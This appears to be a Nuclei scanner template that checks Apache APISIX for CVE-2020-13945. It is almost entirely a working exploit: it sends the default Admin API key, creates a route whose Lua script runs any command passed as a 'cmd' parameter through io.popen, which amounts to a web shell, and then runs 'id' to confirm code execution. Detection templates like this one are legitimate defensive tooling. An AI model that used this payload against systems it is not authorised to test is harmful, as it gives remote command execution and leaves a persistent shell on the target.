59 lines
1.9 KiB
YAML
59 lines
1.9 KiB
YAML
id: CVE-2020-13945
|
|
|
|
info:
|
|
name: Apache APISIX's Admin API Default Access Token (RCE)
|
|
author: pdteam
|
|
severity: medium
|
|
description: In Apache APISIX, the user enabled the Admin API and deleted the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data. This affects versions 1.2, 1.3, 1.4, 1.5.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-13945
|
|
- https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945
|
|
- https://lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E
|
|
- http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 6.5
|
|
cve-id: CVE-2020-13945
|
|
tags: cve,cve2020,apache,apisix,rce,intrusive
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /apisix/admin/routes HTTP/1.1
|
|
Host: {{Hostname}}
|
|
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"uri":"/{{randstr}}",
|
|
"script":"local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
|
|
"upstream":{
|
|
"type":"roundrobin",
|
|
"nodes":{
|
|
"example.com:80":1
|
|
}
|
|
}
|
|
}
|
|
|
|
- |
|
|
GET /{{randstr}}?cmd=id HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '"action":"create"'
|
|
- '"script":'
|
|
- '"node":'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 201
|
|
|
|
extractors:
|
|
- type: regex
|
|
regex:
|
|
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|